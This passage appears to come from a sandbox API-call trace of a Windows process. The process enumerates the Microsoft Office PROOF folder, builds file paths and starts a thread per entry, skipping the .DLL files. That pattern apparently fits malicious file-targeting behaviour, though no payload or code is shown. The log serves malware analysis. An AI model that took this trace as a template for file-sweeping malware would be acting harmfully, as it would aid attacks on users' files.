Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0155.426] wcscat (in: _Dest=0x1ced9400, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0155.426] wcscat (in: _Dest=0x1ced9400, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*" [0155.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0155.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5c20 [0155.429] wcscmp (_String1=".", _String2=".") returned 0 [0155.429] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.429] wcscmp (_String1="..", _String2=".") returned 1 [0155.429] wcscmp (_String1="..", _String2="..") returned 0 [0155.429] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0155.429] wcscmp (_String1="1033", _String2=".") returned 1 [0155.429] wcscmp (_String1="1033", _String2="..") returned 1 [0155.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1ce24020 [0155.430] wcscpy (in: _Dest=0x1ce24020, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0155.430] wcscat (in: _Dest=0x1ce24020, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0155.430] wcscat (in: _Dest=0x1ce24020, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" [0158.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce24020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0158.775] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0158.775] wcscmp (_String1="1036", _String2=".") returned 1 [0158.775] wcscmp (_String1="1036", _String2="..") returned 1 [0158.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42307880 [0158.775] wcscpy (in: _Dest=0x42307880, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.775] wcscat (in: _Dest=0x42307880, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.775] wcscat (in: _Dest=0x42307880, _Source="1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" [0158.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42307880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0158.777] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0158.777] wcscmp (_String1="3082", _String2=".") returned 1 [0158.777] wcscmp (_String1="3082", _String2="..") returned 1 [0158.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x42307900 [0158.777] wcscpy (in: _Dest=0x42307900, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.777] wcscat (in: _Dest=0x42307900, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.777] wcscat (in: _Dest=0x42307900, _Source="3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082" [0158.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x42307900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0158.778] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0158.778] wcscmp (_String1="MSGR3EN.LEX", _String2=".") returned 1 [0158.778] wcscmp (_String1="MSGR3EN.LEX", _String2="..") returned 1 [0158.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7b70 [0158.778] wcscpy (in: _Dest=0x1ceb7b70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.779] wcscat (in: _Dest=0x1ceb7b70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.779] wcscat (in: _Dest=0x1ceb7b70, _Source="MSGR3EN.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3EN.LEX" [0158.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0158.781] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade5d100, ftCreationTime.dwHighDateTime=0x1c04525, ftLastAccessTime.dwLowDateTime=0x59b6e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xade5d100, ftLastWriteTime.dwHighDateTime=0x1c04525, nFileSizeHigh=0x0, nFileSizeLow=0x4112e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3ES.LEX", cAlternateFileName="")) returned 1 [0158.781] wcscmp (_String1="MSGR3ES.LEX", _String2=".") returned 1 [0158.781] wcscmp (_String1="MSGR3ES.LEX", _String2="..") returned 1 [0158.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7c00 [0158.781] wcscpy (in: _Dest=0x1ceb7c00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.781] wcscat (in: _Dest=0x1ceb7c00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.781] wcscat (in: _Dest=0x1ceb7c00, _Source="MSGR3ES.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3ES.LEX" [0158.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0158.782] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373ef00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xa459d340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x373ef00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3FR.LEX", cAlternateFileName="")) returned 1 [0158.782] wcscmp (_String1="MSGR3FR.LEX", _String2=".") returned 1 [0158.782] wcscmp (_String1="MSGR3FR.LEX", _String2="..") returned 1 [0158.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ceb7c90 [0158.782] wcscpy (in: _Dest=0x1ceb7c90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.782] wcscat (in: _Dest=0x1ceb7c90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.782] wcscat (in: _Dest=0x1ceb7c90, _Source="MSGR3FR.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSGR3FR.LEX" [0158.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb7c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0158.783] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4343d200, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa206bb80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4343d200, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.DLL", cAlternateFileName="")) returned 1 [0158.783] wcscmp (_String1="MSHY7EN.DLL", _String2=".") returned 1 [0158.784] wcscmp (_String1="MSHY7EN.DLL", _String2="..") returned 1 [0158.784] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14732f00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2091ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x14732f00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x74200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7EN.LEX", cAlternateFileName="")) returned 1 [0158.784] wcscmp (_String1="MSHY7EN.LEX", _String2=".") returned 1 [0158.784] wcscmp (_String1="MSHY7EN.LEX", _String2="..") returned 1 [0158.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85bd90 [0158.784] wcscpy (in: _Dest=0x1b85bd90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.784] wcscat (in: _Dest=0x1b85bd90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.784] wcscat (in: _Dest=0x1b85bd90, _Source="MSHY7EN.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7EN.LEX" [0158.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x524 [0158.785] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccd3a00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6e3aaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4ccd3a00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.DLL", cAlternateFileName="")) returned 1 [0158.785] wcscmp (_String1="MSHY7ES.DLL", _String2=".") returned 1 [0158.785] wcscmp (_String1="MSHY7ES.DLL", _String2="..") returned 1 [0158.785] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16d58900, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e3aaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x16d58900, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7ES.LEX", cAlternateFileName="")) returned 1 [0158.785] wcscmp (_String1="MSHY7ES.LEX", _String2=".") returned 1 [0158.785] wcscmp (_String1="MSHY7ES.LEX", _String2="..") returned 1 [0158.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86aa10 [0158.786] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.786] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.786] wcscat (in: _Dest=0x1b86aa10, _Source="MSHY7ES.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7ES.LEX" [0158.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86aa10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0158.787] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa45c34a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x36988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.DLL", cAlternateFileName="")) returned 1 [0158.787] wcscmp (_String1="MSHY7FR.DLL", _String2=".") returned 1 [0158.787] wcscmp (_String1="MSHY7FR.DLL", _String2="..") returned 1 [0158.787] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14732f00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa45c34a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x14732f00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x43e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSHY7FR.LEX", cAlternateFileName="")) returned 1 [0158.787] wcscmp (_String1="MSHY7FR.LEX", _String2=".") returned 1 [0158.787] wcscmp (_String1="MSHY7FR.LEX", _String2="..") returned 1 [0158.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced2a40 [0158.787] wcscpy (in: _Dest=0x1ced2a40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.787] wcscat (in: _Dest=0x1ced2a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.788] wcscat (in: _Dest=0x1ced2a40, _Source="MSHY7FR.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSHY7FR.LEX" [0158.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced2a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0158.788] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa20ddfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.DLL", cAlternateFileName="")) returned 1 [0158.789] wcscmp (_String1="MSSP7EN.DLL", _String2=".") returned 1 [0158.789] wcscmp (_String1="MSSP7EN.DLL", _String2="..") returned 1 [0158.789] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2c5600, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa22cd180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e2c5600, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.dub", cAlternateFileName="")) returned 1 [0158.789] wcscmp (_String1="MSSP7EN.dub", _String2=".") returned 1 [0158.789] wcscmp (_String1="MSSP7EN.dub", _String2="..") returned 1 [0158.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddcc60 [0158.789] wcscpy (in: _Dest=0x1cddcc60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.789] wcscat (in: _Dest=0x1cddcc60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.789] wcscat (in: _Dest=0x1cddcc60, _Source="MSSP7EN.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.dub" [0158.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddcc60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0158.790] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2980600, ftCreationTime.dwHighDateTime=0x1cbae31, ftLastAccessTime.dwLowDateTime=0xa2091ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd2980600, ftLastWriteTime.dwHighDateTime=0x1cbae31, nFileSizeHigh=0x0, nFileSizeLow=0x145e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7EN.LEX", cAlternateFileName="")) returned 1 [0158.790] wcscmp (_String1="MSSP7EN.LEX", _String2=".") returned 1 [0158.791] wcscmp (_String1="MSSP7EN.LEX", _String2="..") returned 1 [0158.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddccf0 [0158.791] wcscpy (in: _Dest=0x1cddccf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.791] wcscat (in: _Dest=0x1cddccf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.791] wcscat (in: _Dest=0x1cddccf0, _Source="MSSP7EN.LEX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7EN.LEX" [0158.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddccf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0158.792] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4aef00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa6ed3020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f4aef00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x1ee380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.DLL", cAlternateFileName="")) returned 1 [0158.792] wcscmp (_String1="MSSP7ES.DLL", _String2=".") returned 1 [0158.792] wcscmp (_String1="MSSP7ES.DLL", _String2="..") returned 1 [0158.792] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.dub", cAlternateFileName="")) returned 1 [0158.792] wcscmp (_String1="MSSP7ES.dub", _String2=".") returned 1 [0158.792] wcscmp (_String1="MSSP7ES.dub", _String2="..") returned 1 [0158.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddcd80 [0158.792] wcscpy (in: _Dest=0x1cddcd80, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.792] wcscat (in: _Dest=0x1cddcd80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.793] wcscat (in: _Dest=0x1cddcd80, _Source="MSSP7ES.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\MSSP7ES.dub" [0158.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cddcd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0158.793] FindNextFileW (in: hFindFile=0x1ced5c20, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47b5be00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6e60c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x47b5be00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x1e0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSP7ES.LEX", cAlternateFileName="")) returned 1 [0158.793] wcscmp (_String1="MSSP7ES.LEX", _String2=".") returned 1 [0158.793] wcscmp (_String1="MSSP7ES.LEX", _String2="..") returned 1 [0158.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cddce10 [0158.794] wcscpy (in: _Dest=0x1cddce10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" [0158.794] wcscat (in: _Dest=0x1cddce10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\" [0158.794] 